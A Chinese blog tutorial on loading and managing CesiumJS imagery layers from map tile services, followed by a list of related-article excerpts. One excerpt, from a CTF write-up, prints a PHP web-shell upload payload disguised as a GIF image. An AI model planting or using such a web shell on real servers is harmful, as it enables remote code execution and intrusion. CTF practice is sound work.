【CesiumJS入门】(2)ImageryLayer之图层加载与管理

news2024/11/27 16:27:07

前言

在上一篇博客中,我们加载了一个空空的蓝色地球,现在我们将会为地球加载上地图。
在这里插入图片描述

步骤:

  1. 创建ImageryProvider (数据源)
  2. 创建ImageryLayer (图层)
  3. 将图层添加进视图中(viewer)

下面是一个简单的示例,展示了创建imageryProvider和ImageryLayer并将它添加到地球上:

// 影像提供者(数据源)
const imageryProvider = new Cesium.ArcGisMapServerImageryProvider({
    url: 'https://services.arcgisonline.com/ArcGIS/rest/services/World_Imagery/MapServer'
})

// 创建图层
const imageryLayer = new Cesium.ImageryLayer(imageryProvider);

// 将图层添加进视图中
viewer.imageryLayers.add(imageryLayer);

ImageryProvider

ImageryProvider 是 Cesium 中可以提供地球表面影像的接口。它可以用于加载并显示各种来源的卫星地图,例如 Bing 地图、OpenStreetMap、Google 地图、ArcGIS的地图服务等等。(类似于要加载的地图的数据源)

用户可以根据自己的需求选择合适的 ImageryProvider 子类来加载不同的地图影像。

ImageryLayer

ImageryLayer是Cesium中用于显示影像数据的类,它可以加载、显示和管理地球表面的图像。通过ImageryLayer,我们可以将一个或多个覆盖在地球表面的影像图层添加到Cesium的场景中,并设置它们的不透明度、可见性及其他属性。


影像图层相关配置(option)

ImageryLayer ConstructorOptions - Cesium Documentation

const layerOption = {
  show: true, // 图像层是否可见
  alpha: 1, // 透明度
  nightAlpha: 1, // 地球夜晚一侧的透明度
  dayAlpha: 1, // 地球白天一侧的透明度
  brightness: 1, // 亮度
  contrast: 1, // 对比度
  hue: 0, // 色调
  saturation: 1, // 饱和度
  gamma: 1, // 伽马校正
}

一些地图服务的例子

/**
 * @description: 加载arcgis地图服务
 * url: 'https://services.arcgisonline.com/ArcGIS/rest/services/World_Imagery/MapServer'
 * url: 'https://services.arcgisonline.com/ArcGIS/rest/services/World_street_Map/MapServer'
 */
function arcgisImagery(url, option = layerOption ) {
  const imageryProvider = new Cesium.ArcGisMapServerImageryProvider({
    url,
    token: '',
    layers: '', // 要显示的子图层 ID 数组
    credit: '', // 于表示影像图层的来源及版权信息
    enablePickFeatures: true, // 是否应该返回用于选择的附加要素数据
    usePreCachedTilesIfAvailable: true, // 如果为 true,则使用服务器的预缓存切片(如果可用)。如果为 false,则忽略任何预缓存的切片并使用'导出'服务。
  })
  const imageryLayer = new Cesium.ImageryLayer(imageryProvider, option)
  viewer.imageryLayers.add(imageryLayer)
}

/**
 * @description: 加载Cesium ION 服務
 */
function ionImagery(id = 3812, option) {
  viewer.imageryLayers.add(
    new Cesium.ImageryLayer(
      new Cesium.IonImageryProvider({ assetId: id }),
      option
    )
  )
}

/**
 * @description: 加载osm地图
 */
function osmImagery(url = 'https://a.tile.openstreetmap.org/', option) {
  viewer.imageryLayers.add(
    new Cesium.ImageryLayer(
      new Cesium.OpenStreetMapImageryProvider({ url }),
      option
    )
  )
}

/**
 * @description: 加载Humanitarian OpenStreetMap Team style地图
 */
function hotImagery(url = 'https://tile-{s}.openstreetmap.fr/hot/{z}/{x}/{y}.png', option) {
  viewer.imageryLayers.add(
    new Cesium.ImageryLayer(
      new Cesium.UrlTemplateImageryProvider({ url, subdomains: ['a', 'b', 'c'] }),
      option
    )
  )
}

/**
 * @description: 加载Stamen地图
 */
function stamenImagery(url = 'https://stamen-tiles.a.ssl.fastly.net/watercolor/{z}/{x}/{y}.png', option) {
  viewer.imageryLayers.add(
    new Cesium.ImageryLayer(
      new Cesium.UrlTemplateImageryProvider({ url }),
      option
    )
  )
}

/**
 * @description: 加载carto Basemaps 黑暗风格地图
 */
function darkImagery(url = 'https://{s}.basemaps.cartocdn.com/dark_all/{z}/{x}/{y}.png', option) {
  viewer.imageryLayers.add(
    new Cesium.ImageryLayer(
      new Cesium.UrlTemplateImageryProvider({ url, subdomains: ['a', 'b', 'c', 'd'] }),
      option
    )
  )
}

// 影像图层加载的重点应当是WMTS服务的加载,这将在以后详细介绍...

影像图层控制

ImageryLayerCollection - Cesium Documentation

const layer = new Cesium.ImageryLayer(
   new Cesium.UrlTemplateImageryProvider({ url: 'https://a.basemaps.cartocdn.com/dark_all/{z}/{x}/{y}.png' })
)
viewer.imageryLayers.add(layer) // 将图层加入到视图中
 
viewer.imageryLayers.get(0) // 获取序列号为0的图层
viewer.imageryLayers.indexOf(layer) // 获取图层的索引(层级,大的在上层)
viewer.imageryLayers.lower(layer); // 向下移一层
viewer.imageryLayers.raise(layer); // 向上移一层
viewer.imageryLayers.lowerToBottom(layer); // 移到最下层
viewer.imageryLayers.raiseToTop(layer); // 移到最上层
viewer.imageryLayers.remove(layer, true); // 移除图层,true则销毁图层
viewer.imageryLayers.removeAll(true); // 移除全部图层
---


代码

代码提交参考:feat: 影像图层的加载与管理 · 413b622 · ReBeX/cesium-tyro-blog - Gitee.com

我们在utils文件夹里新建一个ImageryLayer文件夹,后续ImageryLayer相关的方法都放在这个文件夹里。
好啦,新建一个文件loadImagery.js

/*
 * @Date: 2023-06-04 10:41:29
 * @LastEditors: ReBeX  420659880@qq.com
 * @LastEditTime: 2023-06-04 15:26:06
 * @FilePath: \cesium-tyro-blog\src\utils\ImageryLayer\loadImagery.js
 * @Description: 加载影像图层
 */
import { viewer } from '@/utils/createCesium.js' // 引入地图对象
import * as Cesium from 'cesium'

// 图层相关配置
const layerOption = {
  show: true, // 图像层是否可见
  alpha: 1, // 透明度
  nightAlpha: 1, // 地球夜晚一侧的透明度
  dayAlpha: 1, // 地球白天一侧的透明度
  brightness: 1, // 亮度
  contrast: 1, // 对比度
  hue: 0, // 色调
  saturation: 1, // 饱和度
  gamma: 1, // 伽马校正
}

export const loadImagery = {
  // 加载arcgis地图服务
  arcgis: (url, option) => {
    const imageryProvider = new Cesium.ArcGisMapServerImageryProvider({
      url,
      token: '',
      layers: '', // 要显示的子图层 ID 数组
      credit: '', // 于表示影像图层的来源及版权信息
      enablePickFeatures: true, // 是否应该返回用于选择的附加要素数据
      usePreCachedTilesIfAvailable: true, // 如果为 true,则使用服务器的预缓存切片(如果可用)。如果为 false,则忽略任何预缓存的切片并使用'导出'服务。
    })
    const layer = new Cesium.ImageryLayer(imageryProvider, option)
    // viewer.imageryLayers.add(layer, index) // 可以为图层设置index
    viewer.imageryLayers.add(layer)
    console.log(viewer.imageryLayers.indexOf(layer)); // 显示地图的加载层级
    return layer
  },
  // Cesium ION 服務
  ion: (option, id = 3812) => {
    const layer = new Cesium.ImageryLayer(
      new Cesium.IonImageryProvider({ assetId: id }),
      option
    )
    viewer.imageryLayers.add(layer)
    return layer
  },
  // 加载osm地图
  osm: (option) => {
    const layer = new Cesium.ImageryLayer(
      new Cesium.OpenStreetMapImageryProvider({ url: 'https://a.tile.openstreetmap.org/' }),
      option
    )
    viewer.imageryLayers.add(layer)
    return layer
  },
  // 加载Humanitarian OpenStreetMap Team style地图
  hot: (option) => {
    const layer = new Cesium.ImageryLayer(
      new Cesium.UrlTemplateImageryProvider({ url: 'https://tile-{s}.openstreetmap.fr/hot/{z}/{x}/{y}.png', subdomains: ['a', 'b', 'c'] }),
      option
    )
    viewer.imageryLayers.add(layer)
    return layer
  },
  // 加载carto Basemaps 航海风格地图
  cartoVoyager: (option) => {
    const layer = new Cesium.ImageryLayer(
      new Cesium.UrlTemplateImageryProvider({ url: 'https://basemaps.cartocdn.com/rastertiles/voyager/{z}/{x}/{y}.png' }),
      option
    )
    viewer.imageryLayers.add(layer)
    return layer
  },
  // 加载carto Basemaps 黑暗风格地图
  cartoDark: (option) => {
    const layer = new Cesium.ImageryLayer(
      new Cesium.UrlTemplateImageryProvider({ url: 'https://{s}.basemaps.cartocdn.com/dark_all/{z}/{x}/{y}.png', subdomains: ['a', 'b', 'c', 'd'] }),
      option
    )
    viewer.imageryLayers.add(layer)
    return layer
  },
  // 加载Stamen地图
  stamen: (option) => {
    const layer = new Cesium.ImageryLayer(
      new Cesium.UrlTemplateImageryProvider({ url: 'https://stamen-tiles.a.ssl.fastly.net/watercolor/{z}/{x}/{y}.png' }),
      option
    )
    viewer.imageryLayers.add(layer)
    return layer
  }
}

之后,我们在App.vue里引入:import { loadImagery } from "@/utils/ImageryLayer/loadImagery.js";
在地球视图创建好后,再加载影像图层:

onMounted(() => {
  new CesiumMap("cesiumContainer");
  const cartoDark = loadImagery.cartoDark();
  console.log("获取图层的索引号: ", viewer.imageryLayers.indexOf(cartoDark));
});

就得到一个加载了黑夜风格地图的地球啦:

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/607866.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

ChatGPT中文版写论文神器使用技巧

又到了一年一度的毕业季,写论文成了同学们的头等大事。ChatGPT系当今世上最强的人工智能产品,已经深刻地影响着人们的工作生活学习。ChatGPT也是写论文的神器,能帮助同学们拓宽思路,举一反三,事半功倍。以面给同学们盘…

六、JSP06 使用 EL 和 JSTL 简化 JSP

六、使用 EL 和 JSTL 简化 JSP 6.1 使用 EL 表达式 EL 表达式借鉴了 JavaScript 和 XPath 的表达式语言 EL 表达式提供了一种在 JSP 中简化表达式的方法 EL 表达式通常用于在某个作用域 {page、request、session、application等} 内取得属性值 6.1.1 使用 EL 表达式 EL 表达式…

【019】C++的指针与函数

C的指针与函数 引言一、指针变量作为函数的参数1.1、单向传递:值传递1.2、单向传递:传地址 二、数组作为函数的参数传递三、函数的返回值类型是指针类型四、函数指针4.1、函数指针的定义4.2、函数指针变量的注意事项4.3、函数指针变量使用typedef定义别名…

rabbitmq死信队列详解

目录 1 概念 2 成为死信队列的条件 2.1 队列指定长度 2.2 消息ttl时间 2.3 消费者拒收消息 1 概念 死信队列:死信队列其实和普通的队列一样,只不过里面存放的消息都是普通队列过期没有消费的。所以,接收没有及时被消费消息的队列为死信…

[SWPUCTF 2021 新生赛] (WEB二)

目录 easyupload1.0 easyupload2.0 easyupload3.0 no_wakeup PseudoProtocols error hardrce pop sql finalrce hardrce_3 easyupload1.0 1.启动环境 2.上传一个图片木马 GIF89a <script languagephp>eval($_POST[a]);</script>3.蚁剑连接&#xff0c;…

VBScript深度学习入门——线性回归

背景 破电脑装不了VS、Py、IDea、Golang等主流编译器或其语言运行环境&#xff0c;但是自带.Net FrameWork 3.5&#xff0c;可以使用VBScript进行脚本编写&#xff0c;无所谓&#xff0c;反正都是了解底层原理学习&#xff0c;大不了手搓机器学习框架。 分析 了解线性回归的…

剑指 Offer 24. 反转链表解题思路

文章目录 题目解题思路 题目 定义一个函数&#xff0c;输入一个链表的头节点&#xff0c;反转该链表并输出反转后链表的头节点。 示例: 输入: 1->2->3->4->5->NULL 输出: 5->4->3->2->1->NULL 限制&#xff1a; 0 < 节点个数 < 5000 …

去过门头沟吗?

门头沟&#xff08;Mt.Gox&#xff09; 1. 成立2. 发展3. 危机4. 后续 1. 成立 MtGox是程序员杰德麦凯莱布&#xff08;Jed MeCaleb&#xff09;在比特币论坛的用户名。2007年&#xff0c;麦凯莱布开发了魔法风云会线上交易平台&#xff1a;门头沟&#xff08;Mt.Gox&#xff…

【数据分析之道-Matplotlib(六)】Matplotlib饼图

文章目录 专栏导读1、Matplotlib饼图pie()语法格式2、设置饼图各个扇形的标签与颜色3、突出显示第二个扇形&#xff0c;并格式化输出百分比4、shadows通过将参数设置为&#xff1a;向饼图添加阴影 True5、使用legend()函数为每个楔形添加解释列表6、将title参数添加到legend 函…

MYSQL实战45讲笔记--基础架构:一条SQL查询语句是如何执行的?

基础架构&#xff1a;一条SQL查询语句是如何执行的&#xff1f; **select** * **from** T **where** ID10mysql架构 MySQL 可以分为 Server 层和存储引擎层两部分。 Server 层&#xff1a;连接器、查询缓存、分析器、优化器、执行器等&#xff0c;涵盖 MySQL 的大多数核心服务…

不同平均值—集合—力扣—Python

一、题目描述&#xff1a; 二、代码解题&#xff1a; 1.不含注释语句的 class Solution:def distinctAverages(self, nums: List[int]) -> int:avg set([])l len(nums)//2for i in range(0,l):mi min(nums)ma max(nums)p (mima)/2avg.add(p)nums.remove(mi)nums.remo…

Python-For-EEG基础代码讲解(1)

Python-For-EEG 我要演示脑电图信号的基本分析。 主题 1、基于时域分析&#xff0c;P300信号数据集 Event-related potentials and 1-dimensional convolution&#xff08;ERP,CNN&#xff09;Long short-term memory(LSTM) 2、基于频域分析&#xff0c;DEAP和SSVEP数据集…

LeetCode_双指针_中等_82.删除排序链表中的重复元素 II

目录 1.题目2.思路3.代码实现&#xff08;Java&#xff09; 1.题目 给定一个已排序的链表的头 head &#xff0c; 删除原始链表中所有重复数字的节点&#xff0c;只留下不同的数字 。返回已排序的链表。 示例 1&#xff1a; 输入&#xff1a;head [1,2,3,3,4,4,5] 输出&…

oracle19c SYSAUX表空间使用率高

今早手机收到一个信息&#xff0c;某客户的19c环境sysaux使用率超过了80%告警了。既然有事了还是需要登录查看下的 SYS > SET LINES 120 pagesize 199; SYS > COL OCCUPANT_NAME FORMAT A30; SYS > SELECT * FROM (SELECT OCCUPANT_NAME,SPACE_USAGE_KBYTES FROM V$S…

【逆向基础】JS逆向入门:小白也可以看懂

文章目录 前言一、接口抓包二、逆向分析3. 接口验证总结 前言 出于对数据安全的考虑&#xff0c;现代化的网站/APP通常会对数据接口做加密处理。而分析这些接口的加密算法并实现模拟调用的过程就叫做「逆向」。逆向对于爬虫工程师来说是一个永远绕不开的话题&#xff0c;也逐渐…

《嵌入式存储器架构、电路与应用》----学习记录(四)

第5章 新型嵌入式存储器 在现有主流嵌入式存储器中&#xff0c;SRAM虽然读写速度非常快&#xff0c;但是单元面积太大&#xff0c;无法在片上实现高密度集成&#xff1b;DRAM由于要制造电容&#xff0c;所采用的工艺无法在先进的CMOS工艺中实现&#xff0c;不利于做嵌入式存储…

六一专辑||C++实现动态烟花代码

首先&#xff0c;祝大家儿童节快乐&#xff01; 在这篇文章中&#xff0c;将用烟花致以大家最好的祝福&#xff01; 烟花代码将会用到 Easyx 图形库&#xff0c;可以去官网下载&#xff1a;easyx.cnhttp://easyx.cn/ 代码思路 1 烟花结构体 2 初始化烟花 3 烟花上升 4 烟…

设置主机名和host映射

这里写目录标题 设置主机名设置host映射主机名解析过程分析 设置主机名 为了方便记忆。可以给linux系统主机名&#xff0c;也可以根据需要修改主机名 指令hostname来查看主机名 修改主机名 vim /etc/hostname 进入之后修改就行 修改之后重启生效 设置host映射 如何通过主机…

分布式锁实现原理

为什么需要分布式锁&#xff1f; 本地锁synchronized只能锁住当前服务进程&#xff0c;一个本地锁只能锁一个服务&#xff0c;如果是分布式服务情况下使用本地锁&#xff0c;那么多少服务就会有多少进程同时执行&#xff0c;就是去了锁的效果&#xff0c;为了到达分布式情况下…

3.9 流水作业调度问题

博主简介&#xff1a;一个爱打游戏的计算机专业学生博主主页&#xff1a; 夏驰和徐策所属专栏&#xff1a;算法设计与分析 1.我对流水调度问题的理解 流水作业调度问题是动态规划中的一个经典问题&#xff0c;它涉及将一系列作业分配给多个工作站以最小化总完成时间。该问题的…